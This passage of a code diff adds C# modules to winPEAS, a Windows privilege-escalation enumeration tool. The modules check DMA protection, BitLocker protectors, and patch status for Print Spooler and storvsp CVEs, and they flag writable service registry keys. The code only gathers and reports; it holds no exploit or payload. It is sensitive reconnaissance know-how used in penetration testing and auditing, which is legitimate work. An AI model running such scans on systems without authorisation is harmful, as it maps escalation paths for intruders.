ProtectionState.Unknown; + internal string VbsStatus { get; set; } = "Unavailable"; + } + + private sealed class BitLockerState + { + internal bool Available { get; set; } + internal bool ProtectionEnabled { get; set; } + internal List ProtectorTypes { get; } = new List(); + } + + internal static void PrintInfo() + { + Beaprint.MainPrint("Hardware and DMA Security", "T1200"); + Beaprint.LinkPrint( + "https://learn.microsoft.com/en-us/windows/security/hardware-security/kernel-dma-protection-for-thunderbolt", + "Kernel DMA Protection uses the IOMMU to restrict DMA-capable peripherals"); + Beaprint.LinkPrint( + "https://mdsec.co.uk/2026/03/disabling-security-features-in-a-locked-bios", + "Physical firmware tampering can make visible UEFI settings differ from effective DMA protection"); + + ProtectionState kernelDmaProtection = GetKernelDmaProtectionState(); + DeviceGuardState deviceGuard = GetDeviceGuardState(); + string firmwareType = GetFirmwareType(); + ProtectionState secureBoot = GetSecureBootState(); + BitLockerState bitLocker = GetBitLockerState(); + List dmaInterfaces = GetDmaCapableInterfaces(); + + PrintProtectionState("Kernel DMA Protection", kernelDmaProtection); + PrintProtectionState("DMA protection available (Device Guard)", deviceGuard.DmaProtectionAvailable); + PrintProtectionState("Secure Boot", secureBoot); + Beaprint.InfoPrint(" Firmware type: " + firmwareType); + + if (deviceGuard.VbsStatus == "Enabled and running") + { + Beaprint.GoodPrint(" Virtualization Based Security: " + deviceGuard.VbsStatus); + } + else if (deviceGuard.VbsStatus == "Not enabled" || deviceGuard.VbsStatus == "Enabled but not running") + { + Beaprint.BadPrint(" Virtualization Based Security: " + deviceGuard.VbsStatus); + } + else + { + Beaprint.InfoPrint(" Virtualization Based Security: " + deviceGuard.VbsStatus); + } + + PrintBitLockerState(bitLocker); + + if (dmaInterfaces.Count > 0) + { + Beaprint.InfoPrint(" DMA-capable external interfaces/devices:"); + foreach (string device in dmaInterfaces) + { + Beaprint.BadPrint(" " + device); + } + } + else + { + Beaprint.InfoPrint(" DMA-capable external interfaces/devices: none identified"); + } + + bool tpmOnly = bitLocker.ProtectionEnabled && bitLocker.ProtectorTypes.Contains(1); + bool dmaExposure = kernelDmaProtection == ProtectionState.Disabled && dmaInterfaces.Count > 0; + + if (dmaExposure || (tpmOnly && kernelDmaProtection == ProtectionState.Disabled)) + { + Beaprint.BadPrint(" Potential physical DMA escalation exposure: Kernel DMA Protection is disabled" + + (tpmOnly ? " and the OS volume has a TPM-only BitLocker protector." : ".")); + if (deviceGuard.VbsStatus != "Enabled and running") + { + Beaprint.BadPrint(" VBS is also not confirmed running, reducing defense in depth for the described attack chain."); + } + Beaprint.InfoPrint(" Exploitation requires physical access, firmware/ACPI tampering, and specialized DMA hardware."); + } + else + { + Beaprint.InfoPrint(" No high-risk physical DMA condition was identified from the available runtime data."); + } + + Beaprint.InfoPrint(" Runtime checks cannot prove that pre-boot firmware settings or ACPI tables have not been modified offline."); + } + + private static ProtectionState GetKernelDmaProtectionState() + { + IntPtr buffer = IntPtr.Zero; + try + { + buffer = Marshal.AllocHGlobal(1); + Marshal.WriteByte(buffer, 0); + int returnLength = 0; + uint status = Native.Ntdll.NtQuerySystemInformation( + SystemDmaGuardPolicyInformation, + buffer, + 1, + ref returnLength); + + if (status != 0) + { + return ProtectionState.Unknown; + } + + return Marshal.ReadByte(buffer) == 0 ? ProtectionState.Disabled : ProtectionState.Enabled; + } + catch + { + return ProtectionState.Unknown; + } + finally + { + if (buffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(buffer); + } + } + } + + private static DeviceGuardState GetDeviceGuardState() + { + DeviceGuardState state = new DeviceGuardState(); + try + { + using (var searcher = new ManagementObjectSearcher( + @"root\Microsoft\Windows\DeviceGuard", + "SELECT AvailableSecurityProperties, VirtualizationBasedSecurityStatus FROM Win32_DeviceGuard")) + using (var results = searcher.Get()) + { + foreach (ManagementObject result in results) + { + List properties = ToUInt32List(result["AvailableSecurityProperties"]); + state.DmaProtectionAvailable = properties.Contains(3) + ? ProtectionState.Enabled + : ProtectionState.Disabled; + + uint vbsStatus = Convert.ToUInt32(result["VirtualizationBasedSecurityStatus"] ?? 0); + switch (vbsStatus) + { + case 0: + state.VbsStatus = "Not enabled"; + break; + case 1: + state.VbsStatus = "Enabled but not running"; + break; + case 2: + state.VbsStatus = "Enabled and running"; + break; + default: + state.VbsStatus = "Unknown"; + break; + } + break; + } + } + } + catch + { + // Older Windows versions may not provide the Device Guard namespace. + } + return state; + } + + private static string GetFirmwareType() + { + try + { + uint firmwareType; + if (!Native.Kernel32.GetFirmwareType(out firmwareType)) + { + return "Unknown"; + } + + switch (firmwareType) + { + case 1: + return "Legacy BIOS"; + case 2: + return "UEFI"; + default: + return "Unknown"; + } + } + catch + { + return "Unknown"; + } + } + + private static ProtectionState GetSecureBootState() + { + try + { + string value = RegistryHelper.GetRegValue( + "HKLM", + @"SYSTEM\CurrentControlSet\Control\SecureBoot\State", + "UEFISecureBootEnabled"); + + if (value == "1") + { + return ProtectionState.Enabled; + } + if (value == "0") + { + return ProtectionState.Disabled; + } + } + catch + { + // The key is absent on legacy BIOS and some older Windows versions. + } + return ProtectionState.Unknown; + } + + private static BitLockerState GetBitLockerState() + { + BitLockerState state = new BitLockerState(); + string systemDrive = Environment.GetEnvironmentVariable("SystemDrive") ?? string.Empty; + + try + { + using (var searcher = new ManagementObjectSearcher( + @"root\CIMV2\Security\MicrosoftVolumeEncryption", + "SELECT * FROM Win32_EncryptableVolume")) + using (var results = searcher.Get()) + { + foreach (ManagementObject volume in results) + { + string driveLetter = Convert.ToString(volume["DriveLetter"]); + if (!string.Equals(driveLetter, systemDrive, StringComparison.OrdinalIgnoreCase)) + { + continue; + } + + state.Available = true; + state.ProtectionEnabled = Convert.ToUInt32(volume["ProtectionStatus"] ?? 0) == 1; + + using (ManagementBaseObject inParameters = volume.GetMethodParameters("GetKeyProtectors")) + { + inParameters["KeyProtectorType"] = 0; + using (ManagementBaseObject outParameters = volume.InvokeMethod("GetKeyProtectors", inParameters, null)) + { + if (outParameters == null || Convert.ToUInt32(outParameters["ReturnValue"] ?? 1) != 0) + { + break; + } + + string[] protectorIds = outParameters["VolumeKeyProtectorID"] as string[]; + foreach (string protectorId in protectorIds ?? new string[0]) + { + using (ManagementBaseObject typeInput = volume.GetMethodParameters("GetKeyProtectorType")) + { + typeInput["VolumeKeyProtectorID"] = protectorId; + using (ManagementBaseObject typeOutput = volume.InvokeMethod("GetKeyProtectorType", typeInput, null)) + { + if (typeOutput != null && Convert.ToUInt32(typeOutput["ReturnValue"] ?? 1) == 0) + { + state.ProtectorTypes.Add(Convert.ToUInt32(typeOutput["KeyProtectorType"])); + } + } + } + } + } + } + break; + } + } + } + catch + { + // BitLocker WMI can be unavailable or access restricted. + } + + return state; + } + + private static List GetDmaCapableInterfaces() + { + string[] indicators = + { + "Thunderbolt", "USB4", "FireWire", "IEEE 1394", "1394 OHCI", + "ExpressCard", "PCMCIA", "CardBus", "CFexpress" + }; + var devices = new HashSet(StringComparer.OrdinalIgnoreCase); + + try + { + using (var searcher = new ManagementObjectSearcher( + "SELECT Name, Description, Service FROM Win32_PnPEntity WHERE ConfigManagerErrorCode = 0")) + using (var results = searcher.Get()) + { + foreach (ManagementObject device in results) + { + string name = Convert.ToString(device["Name"]); + string searchable = string.Join(" ", new[] + { + name, + Convert.ToString(device["Description"]), + Convert.ToString(device["Service"]) + }); + + if (indicators.Any(indicator => + searchable.IndexOf(indicator, StringComparison.OrdinalIgnoreCase) >= 0)) + { + devices.Add(string.IsNullOrWhiteSpace(name) ? searchable.Trim() : name); + } + } + } + } + catch + { + // Device enumeration is supplementary; retain the other results. + } + + return devices.OrderBy(device => device, StringComparer.OrdinalIgnoreCase).ToList(); + } + + private static List ToUInt32List(object value) + { + var values = new List(); + Array array = value as Array; + if (array == null) + { + return values; + } + + foreach (object item in array) + { + values.Add(Convert.ToUInt32(item)); + } + return values; + } + + private static void PrintProtectionState(string name, ProtectionState state) + { + switch (state) + { + case ProtectionState.Enabled: + Beaprint.GoodPrint(" " + name + ": enabled"); + break; + case ProtectionState.Disabled: + Beaprint.BadPrint(" " + name + ": disabled/not available"); + break; + default: + Beaprint.InfoPrint(" " + name + ": unavailable"); + break; + } + } + + private static void PrintBitLockerState(BitLockerState state) + { + if (!state.Available) + { + Beaprint.InfoPrint(" OS volume BitLocker: unavailable or access denied"); + return; + } + + if (!state.ProtectionEnabled) + { + Beaprint.BadPrint(" OS volume BitLocker protection: off"); + return; + } + + Beaprint.GoodPrint(" OS volume BitLocker protection: on"); + string[] protectors = state.ProtectorTypes + .Distinct() + .Select(GetProtectorName) + .ToArray(); + + if (protectors.Length == 0) + { + Beaprint.InfoPrint(" BitLocker protectors: unavailable"); + return; + } + + string protectorList = string.Join(", ", protectors); + if (state.ProtectorTypes.Contains(1)) + { + Beaprint.BadPrint(" BitLocker protectors: " + protectorList + " (TPM-only permits unattended boot)"); + } + else + { + Beaprint.GoodPrint(" BitLocker protectors: " + protectorList); + } + } + + private static string GetProtectorName(uint type) + { + switch (type) + { + case 1: return "TPM"; + case 2: return "External key"; + case 3: return "Recovery password"; + case 4: return "TPM+PIN"; + case 5: return "TPM+startup key"; + case 6: return "TPM+PIN+startup key"; + case 7: return "Public key"; + case 8: return "Passphrase"; + case 9: return "TPM certificate"; + case 10: return "CNG protector"; + default: return "Unknown (" + type + ")"; + } + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PrintSpoolerCve38028.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PrintSpoolerCve38028.cs new file mode 100644 index 00000000..80630eda --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PrintSpoolerCve38028.cs @@ -0,0 +1,253 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Management; +using winPEAS.Helpers.Registry; + +namespace winPEAS.Info.SystemInfo +{ + internal static class PrintSpoolerCve38028 + { + private const string SpoolerRegistryPath = @"SYSTEM\CurrentControlSet\Services\Spooler"; + + // Microsoft Security Response Center, October 2022 security updates. + // Windows 8.1/Server 2012 use rollup/security-only KBs because their + // CurrentBuild/UBR values are not reliable cumulative-update indicators. + private static readonly Dictionary FixedBuilds = new Dictionary + { + { 9200, new FixedBuild(0, "5018457", "5018478") }, + { 9600, new FixedBuild(0, "5018474", "5018476") }, + { 10240, new FixedBuild(19507, "5018425") }, + { 14393, new FixedBuild(5427, "5018411") }, + { 17763, new FixedBuild(3532, "5018419") }, + { 19042, new FixedBuild(2130, "5018410") }, + { 19043, new FixedBuild(2130, "5018410") }, + { 19044, new FixedBuild(2130, "5018410") }, + { 20348, new FixedBuild(1129, "5018421") }, + { 22000, new FixedBuild(1098, "5018418") }, + { 22621, new FixedBuild(674, "5018427") }, + }; + + internal static PrintSpoolerCve38028Report GetReport(Dictionary basicInfo) + { + var report = new PrintSpoolerCve38028Report + { + ProductName = GetValue(basicInfo, "ProductName"), + Architecture = GetValue(basicInfo, "Architecture"), + DisplayVersion = GetValue(basicInfo, "DisplayVersion"), + }; + + CollectPatchState(report, basicInfo); + CollectRegistryState(report); + CollectWmiState(report); + CollectRegistryAcl(report); + + report.ServiceAvailable = report.ServiceExists && + !string.Equals(report.StartMode, "Disabled", StringComparison.OrdinalIgnoreCase) && + report.RegistryStart != 4; + return report; + } + + private static void CollectPatchState(PrintSpoolerCve38028Report report, Dictionary basicInfo) + { + if (!int.TryParse(GetValue(basicInfo, "CurrentBuild"), out int build)) + { + report.PatchStatus = PrintSpoolerPatchStatus.Unknown; + report.PatchEvidence = "Unable to parse CurrentBuild."; + return; + } + + report.Build = build; + bool revisionKnown = int.TryParse(GetValue(basicInfo, "UpdateBuildRevision"), out int revision); + if (revisionKnown) + { + report.Revision = revision; + report.BuildVersion = build + "." + revision; + } + else + { + report.BuildVersion = build.ToString(); + } + + if (!FixedBuilds.TryGetValue(build, out FixedBuild fixedBuild)) + { + report.PatchStatus = PrintSpoolerPatchStatus.NotAffected; + report.PatchEvidence = "Microsoft does not list this Windows build as affected by CVE-2022-38028."; + return; + } + + report.BuildApplicable = true; + report.FixedRevision = fixedBuild.Revision; + report.FixedVersion = fixedBuild.Revision > 0 ? build + "." + fixedBuild.Revision : "KB-based"; + report.ApplicableKbs.AddRange(fixedBuild.Kbs); + + foreach (string kb in fixedBuild.Kbs) + { + if (WindowsVersionVulns.IsHotfixInstalledOrSuperseded(basicInfo, kb)) + { + report.PatchStatus = PrintSpoolerPatchStatus.Patched; + report.PatchEvidence = "The applicable fix KB or a superseding update is present in the hotfix inventory."; + report.MatchedFixKb = kb; + return; + } + } + + if (fixedBuild.Revision > 0 && revisionKnown) + { + if (revision >= fixedBuild.Revision) + { + report.PatchStatus = PrintSpoolerPatchStatus.Patched; + report.PatchEvidence = "OS build is at or above Microsoft's October 2022 fixed build."; + } + else + { + report.PatchStatus = PrintSpoolerPatchStatus.Susceptible; + report.PatchEvidence = "OS build is below Microsoft's fixed build and no applicable or superseding fix KB was found."; + } + return; + } + + report.PatchStatus = PrintSpoolerPatchStatus.Susceptible; + report.PatchEvidence = "No applicable or superseding October 2022 fix KB was found for this affected legacy build."; + } + + private static void CollectRegistryState(PrintSpoolerCve38028Report report) + { + try + { + using (RegistryKey key = Registry.LocalMachine.OpenSubKey(SpoolerRegistryPath)) + { + if (key == null) + { + return; + } + + report.ServiceExists = true; + report.RegistryImagePath = Convert.ToString(key.GetValue("ImagePath", "")); + report.RegistryObjectName = Convert.ToString(key.GetValue("ObjectName", "")); + report.RegistryStart = TryConvertInt(key.GetValue("Start")); + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("Spooler registry state: " + ex.Message); + } + } + + private static void CollectWmiState(PrintSpoolerCve38028Report report) + { + try + { + const string query = "SELECT Name,DisplayName,PathName,StartMode,State,Started,StartName FROM Win32_Service WHERE Name='Spooler'"; + using (var searcher = new ManagementObjectSearcher(@"root\cimv2", query)) + using (var results = searcher.Get()) + { + foreach (ManagementObject service in results) + { + report.ServiceExists = true; + report.DisplayName = Convert.ToString(service["DisplayName"]); + report.PathName = Convert.ToString(service["PathName"]); + report.StartMode = Convert.ToString(service["StartMode"]); + report.State = Convert.ToString(service["State"]); + report.StartName = Convert.ToString(service["StartName"]); + report.Started = Convert.ToBoolean(service["Started"]); + return; + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("Spooler WMI state: " + ex.Message); + } + } + + private static void CollectRegistryAcl(PrintSpoolerCve38028Report report) + { + try + { + if (RegistryAclScanner.TryGetWritableKey("HKLM", SpoolerRegistryPath, out RegistryWritableKeyInfo writableKey)) + { + report.RegistryWritableByLowPrivilegePrincipal = true; + report.RegistryWritablePrincipals.AddRange(writableKey.Principals); + report.RegistryWritableRights.AddRange(writableKey.Rights); + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("Spooler registry ACL: " + ex.Message); + } + } + + private static int? TryConvertInt(object value) + { + try + { + return value == null ? (int?)null : Convert.ToInt32(value); + } + catch + { + return null; + } + } + + private static string GetValue(Dictionary values, string key) + { + return values != null && values.TryGetValue(key, out string value) ? value ?? "" : ""; + } + + private sealed class FixedBuild + { + internal FixedBuild(int revision, params string[] kbs) + { + Revision = revision; + Kbs = kbs ?? new string[0]; + } + + internal int Revision { get; } + internal string[] Kbs { get; } + } + } + + internal enum PrintSpoolerPatchStatus + { + Unknown, + NotAffected, + Susceptible, + Patched + } + + internal sealed class PrintSpoolerCve38028Report + { + public string ProductName { get; set; } = ""; + public string Architecture { get; set; } = ""; + public string DisplayVersion { get; set; } = ""; + public int Build { get; set; } + public int Revision { get; set; } + public string BuildVersion { get; set; } = ""; + public bool BuildApplicable { get; set; } + public int FixedRevision { get; set; } + public string FixedVersion { get; set; } = ""; + public List ApplicableKbs { get; } = new List(); + public string MatchedFixKb { get; set; } = ""; + public PrintSpoolerPatchStatus PatchStatus { get; set; } = PrintSpoolerPatchStatus.Unknown; + public string PatchEvidence { get; set; } = ""; + public bool ServiceExists { get; set; } + public bool ServiceAvailable { get; set; } + public bool Started { get; set; } + public string DisplayName { get; set; } = ""; + public string PathName { get; set; } = ""; + public string StartMode { get; set; } = ""; + public string State { get; set; } = ""; + public string StartName { get; set; } = ""; + public string RegistryImagePath { get; set; } = ""; + public string RegistryObjectName { get; set; } = ""; + public int? RegistryStart { get; set; } + public bool RegistryWritableByLowPrivilegePrincipal { get; set; } + public List RegistryWritablePrincipals { get; } = new List(); + public List RegistryWritableRights { get; } = new List(); + public List CollectionErrors { get; } = new List(); + + public bool HighPriorityFinding => + PatchStatus == PrintSpoolerPatchStatus.Susceptible && ServiceAvailable; + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/StorvspVsmbCves.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/StorvspVsmbCves.cs new file mode 100644 index 00000000..bfdbb7b9 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/StorvspVsmbCves.cs @@ -0,0 +1,450 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Runtime.InteropServices; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Text.RegularExpressions; + +namespace winPEAS.Info.SystemInfo +{ + internal static class StorvspVsmbCves + { + private const string DriverServiceKey = @"SYSTEM\CurrentControlSet\Services\storvsp"; + private static readonly Guid WinTrustActionGenericVerifyV2 = new Guid("00AAC56B-CD44-11d0-8CC2-00C04FC295EE"); + + // Microsoft Security Response Center, December 2025 security update. + // The regular cumulative-update build is used as the safe version threshold. + // Hotpatch builds are accepted only when their corresponding KB is present. + private static readonly Dictionary FixedBuilds = new Dictionary + { + { 17763, new FixedBuild(8146, "5071544") }, + { 19044, new FixedBuild(6691, "5071546") }, + { 19045, new FixedBuild(6691, "5071546") }, + { 20348, new FixedBuild(4529, "5071547", 4467, "5071413") }, + { 22631, new FixedBuild(6345, "5071417") }, + { 25398, new FixedBuild(2025, "5071542") }, + { 26100, new FixedBuild(7462, "5072033", 7392, "5072014") }, + { 26200, new FixedBuild(7462, "5072033", 7392, "5072014") }, + }; + + internal static StorvspVsmbReport GetReport(Dictionary basicInfo) + { + var report = new StorvspVsmbReport + { + ProductName = GetValue(basicInfo, "ProductName"), + Architecture = GetValue(basicInfo, "Architecture"), + InstalledHotfixes = GetValue(basicInfo, "Hotfixes") + }; + + CollectBuildAndPatchState(report, basicInfo); + CollectOptionalFeatureState(report); + CollectDriverFile(report); + CollectDriverRegistration(report); + CollectDeviceLink(report); + + report.AttackSurfaceEnabled = + (report.VirtualMachinePlatformState == OptionalFeatureState.Enabled && + (report.DriverExists || report.DriverRegistered)) || + report.DriverStarted || + report.DeviceLinkPresent; + return report; + } + + private static void CollectBuildAndPatchState(StorvspVsmbReport report, Dictionary basicInfo) + { + if (!int.TryParse(GetValue(basicInfo, "CurrentBuild"), out int build) || + !int.TryParse(GetValue(basicInfo, "UpdateBuildRevision"), out int revision)) + { + report.PatchStatus = StorvspPatchStatus.Unknown; + report.PatchEvidence = "Unable to parse CurrentBuild/UBR."; + return; + } + + report.Build = build; + report.Revision = revision; + report.BuildVersion = build + "." + revision; + + if (!FixedBuilds.TryGetValue(build, out FixedBuild fixedBuild)) + { + // Microsoft lists build 14393 for CVE-2025-59517, but not for + // CVE-2025-64673. It is therefore outside this two-CVE chain. + report.OnlyCve59517Applicable = build == 14393; + report.PatchStatus = StorvspPatchStatus.NotAffected; + report.PatchEvidence = report.OnlyCve59517Applicable + ? "Microsoft lists this build for CVE-2025-59517 only, not the complete two-CVE chain." + : "Microsoft does not list this build for both CVEs in the chain."; + return; + } + + report.BuildApplicable = true; + report.FixedRevision = fixedBuild.Revision; + report.FixedVersion = build + "." + fixedBuild.Revision; + report.ApplicableKb = fixedBuild.Kb; + report.HotpatchRevision = fixedBuild.HotpatchRevision; + report.HotpatchKb = fixedBuild.HotpatchKb; + + if (ContainsHotfix(report.InstalledHotfixes, fixedBuild.Kb)) + { + report.PatchStatus = StorvspPatchStatus.Patched; + report.DirectFixInstalled = true; + report.PatchEvidence = "Applicable December 2025 security update is present in the hotfix inventory."; + } + else if (!string.IsNullOrEmpty(fixedBuild.HotpatchKb) && ContainsHotfix(report.InstalledHotfixes, fixedBuild.HotpatchKb)) + { + report.PatchStatus = StorvspPatchStatus.Patched; + report.DirectFixInstalled = true; + report.PatchEvidence = "Applicable December 2025 security hotpatch is present in the hotfix inventory."; + } + else if (revision >= fixedBuild.Revision) + { + report.PatchStatus = StorvspPatchStatus.Patched; + report.PatchEvidence = "OS build is at or above Microsoft's regular cumulative-update fixed build."; + } + else + { + report.PatchStatus = StorvspPatchStatus.Susceptible; + report.PatchEvidence = "OS build is below Microsoft's regular fixed build and the applicable fix KB was not found."; + } + } + + private static void CollectOptionalFeatureState(StorvspVsmbReport report) + { + try + { + const string query = "SELECT Name,InstallState FROM Win32_OptionalFeature WHERE Name='VirtualMachinePlatform'"; + using (var searcher = new ManagementObjectSearcher(@"root\cimv2", query)) + using (var results = searcher.Get()) + { + foreach (ManagementObject feature in results) + { + uint state = Convert.ToUInt32(feature["InstallState"]); + report.VirtualMachinePlatformState = state == 1 + ? OptionalFeatureState.Enabled + : state == 2 || state == 3 + ? OptionalFeatureState.Disabled + : OptionalFeatureState.Unknown; + return; + } + } + + report.VirtualMachinePlatformState = OptionalFeatureState.NotFound; + } + catch (Exception ex) + { + report.CollectionErrors.Add("Virtual Machine Platform feature: " + ex.Message); + } + } + + private static void CollectDriverFile(StorvspVsmbReport report) + { + try + { + string windowsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + string path = Path.Combine(windowsDirectory, "System32", "drivers", "storvsp.sys"); + if (Environment.Is64BitOperatingSystem && !Environment.Is64BitProcess) + { + string nativePath = Path.Combine(windowsDirectory, "Sysnative", "drivers", "storvsp.sys"); + if (File.Exists(nativePath)) + { + path = nativePath; + } + } + + report.DriverPath = path; + report.DriverExists = File.Exists(path); + if (!report.DriverExists) + { + return; + } + + FileVersionInfo version = FileVersionInfo.GetVersionInfo(path); + report.DriverFileVersion = version.FileVersion ?? ""; + report.DriverProductVersion = version.ProductVersion ?? ""; + report.DriverCompany = version.CompanyName ?? ""; + report.DriverLastWriteUtc = File.GetLastWriteTimeUtc(path); + + report.DriverSignatureValid = VerifyAuthenticode(path, out string signatureStatus); + report.DriverSignatureStatus = signatureStatus; + try + { + using (X509Certificate certificate = X509Certificate.CreateFromSignedFile(path)) + using (var certificate2 = new X509Certificate2(certificate)) + { + report.DriverSigner = certificate2.Subject; + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("storvsp.sys signer: " + ex.Message); + } + + if (report.BuildApplicable && report.DriverSignatureValid && + TryGetFileBuildRevision(version, out int driverBuild, out int driverRevision) && + driverBuild == report.Build && driverRevision >= report.FixedRevision) + { + report.DriverVersionAtOrAboveFix = true; + report.PatchStatus = StorvspPatchStatus.Patched; + report.PatchEvidence = "storvsp.sys is at or above Microsoft's regular fixed build."; + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("storvsp.sys metadata: " + ex.Message); + } + } + + private static void CollectDriverRegistration(StorvspVsmbReport report) + { + try + { + using (RegistryKey key = Registry.LocalMachine.OpenSubKey(DriverServiceKey)) + { + if (key != null) + { + report.DriverRegistered = true; + report.DriverImagePath = Convert.ToString(key.GetValue("ImagePath", "")); + report.DriverStart = TryConvertInt(key.GetValue("Start")); + report.DriverType = TryConvertInt(key.GetValue("Type")); + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("storvsp driver registry: " + ex.Message); + } + + try + { + const string query = "SELECT Name,PathName,StartMode,State,Started FROM Win32_SystemDriver WHERE Name='storvsp'"; + using (var searcher = new ManagementObjectSearcher(@"root\cimv2", query)) + using (var results = searcher.Get()) + { + foreach (ManagementObject driver in results) + { + report.DriverRegistered = true; + report.DriverWmiPath = Convert.ToString(driver["PathName"]); + report.DriverStartMode = Convert.ToString(driver["StartMode"]); + report.DriverState = Convert.ToString(driver["State"]); + report.DriverStarted = Convert.ToBoolean(driver["Started"]); + return; + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("storvsp driver WMI state: " + ex.Message); + } + } + + private static void CollectDeviceLink(StorvspVsmbReport report) + { + try + { + var target = new StringBuilder(4096); + uint length = QueryDosDevice("STORVSP", target, target.Capacity); + report.DeviceLinkPresent = length != 0; + if (report.DeviceLinkPresent) + { + report.DeviceLinkTarget = target.ToString(); + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("STORVSP device link: " + ex.Message); + } + } + + private static bool ContainsHotfix(string hotfixes, string kb) + { + return !string.IsNullOrEmpty(kb) && Regex.IsMatch( + hotfixes ?? "", + @"\bKB" + Regex.Escape(kb) + @"\b", + RegexOptions.IgnoreCase); + } + + private static string GetValue(Dictionary values, string key) + { + return values != null && values.TryGetValue(key, out string value) ? value ?? "" : ""; + } + + private static int? TryConvertInt(object value) + { + try + { + return value == null ? (int?)null : Convert.ToInt32(value); + } + catch + { + return null; + } + } + + private static bool TryGetFileBuildRevision(FileVersionInfo version, out int build, out int revision) + { + build = version.FileBuildPart; + revision = version.FilePrivatePart; + return build > 0 && revision >= 0; + } + + private static bool VerifyAuthenticode(string path, out string status) + { + IntPtr fileInfoPointer = IntPtr.Zero; + try + { + var fileInfo = new WinTrustFileInfo(path); + fileInfoPointer = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(WinTrustFileInfo))); + Marshal.StructureToPtr(fileInfo, fileInfoPointer, false); + + var trustData = new WinTrustData(fileInfoPointer); + int result = WinVerifyTrust(new IntPtr(-1), WinTrustActionGenericVerifyV2, trustData); + status = result == 0 ? "Valid" : "Invalid (0x" + result.ToString("X8") + ")"; + return result == 0; + } + catch (Exception ex) + { + status = "Error: " + ex.Message; + return false; + } + finally + { + if (fileInfoPointer != IntPtr.Zero) + { + Marshal.DestroyStructure(fileInfoPointer, typeof(WinTrustFileInfo)); + Marshal.FreeCoTaskMem(fileInfoPointer); + } + } + } + + private sealed class FixedBuild + { + internal FixedBuild(int revision, string kb, int hotpatchRevision = 0, string hotpatchKb = "") + { + Revision = revision; + Kb = kb; + HotpatchRevision = hotpatchRevision; + HotpatchKb = hotpatchKb; + } + + internal int Revision { get; } + internal string Kb { get; } + internal int HotpatchRevision { get; } + internal string HotpatchKb { get; } + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct WinTrustFileInfo + { + public uint StructSize; + [MarshalAs(UnmanagedType.LPWStr)] + public string FilePath; + public IntPtr FileHandle; + public IntPtr KnownSubject; + + public WinTrustFileInfo(string filePath) + { + StructSize = (uint)Marshal.SizeOf(typeof(WinTrustFileInfo)); + FilePath = filePath; + FileHandle = IntPtr.Zero; + KnownSubject = IntPtr.Zero; + } + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private sealed class WinTrustData + { + public uint StructSize = (uint)Marshal.SizeOf(typeof(WinTrustData)); + public IntPtr PolicyCallbackData = IntPtr.Zero; + public IntPtr SipClientData = IntPtr.Zero; + public uint UiChoice = 2; // WTD_UI_NONE + public uint RevocationChecks = 0; // WTD_REVOKE_NONE + public uint UnionChoice = 1; // WTD_CHOICE_FILE + public IntPtr FileInfoPointer; + public uint StateAction = 0; // WTD_STATEACTION_IGNORE + public IntPtr StateData = IntPtr.Zero; + public IntPtr UrlReference = IntPtr.Zero; + public uint ProviderFlags = 0x00001000; // WTD_CACHE_ONLY_URL_RETRIEVAL + public uint UiContext = 0; + public IntPtr SignatureSettings = IntPtr.Zero; + + public WinTrustData(IntPtr fileInfoPointer) + { + FileInfoPointer = fileInfoPointer; + } + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern uint QueryDosDevice(string deviceName, StringBuilder targetPath, int maximumLength); + + [DllImport("wintrust.dll", CharSet = CharSet.Unicode, ExactSpelling = true)] + private static extern int WinVerifyTrust( + IntPtr hwnd, + [MarshalAs(UnmanagedType.LPStruct)] Guid actionId, + [In] WinTrustData trustData); + } + + internal enum StorvspPatchStatus + { + Unknown, + NotAffected, + Susceptible, + Patched + } + + internal enum OptionalFeatureState + { + Unknown, + NotFound, + Disabled, + Enabled + } + + internal sealed class StorvspVsmbReport + { + public string ProductName { get; set; } = ""; + public string Architecture { get; set; } = ""; + public string InstalledHotfixes { get; set; } = ""; + public int Build { get; set; } + public int Revision { get; set; } + public string BuildVersion { get; set; } = ""; + public bool BuildApplicable { get; set; } + public bool OnlyCve59517Applicable { get; set; } + public int FixedRevision { get; set; } + public string FixedVersion { get; set; } = ""; + public string ApplicableKb { get; set; } = ""; + public int HotpatchRevision { get; set; } + public string HotpatchKb { get; set; } = ""; + public bool DirectFixInstalled { get; set; } + public bool DriverVersionAtOrAboveFix { get; set; } + public StorvspPatchStatus PatchStatus { get; set; } = StorvspPatchStatus.Unknown; + public string PatchEvidence { get; set; } = ""; + public OptionalFeatureState VirtualMachinePlatformState { get; set; } = OptionalFeatureState.Unknown; + public string DriverPath { get; set; } = ""; + public bool DriverExists { get; set; } + public string DriverFileVersion { get; set; } = ""; + public string DriverProductVersion { get; set; } = ""; + public string DriverCompany { get; set; } = ""; + public DateTime? DriverLastWriteUtc { get; set; } + public bool DriverSignatureValid { get; set; } + public string DriverSignatureStatus { get; set; } = "Not checked"; + public string DriverSigner { get; set; } = ""; + public bool DriverRegistered { get; set; } + public string DriverImagePath { get; set; } = ""; + public int? 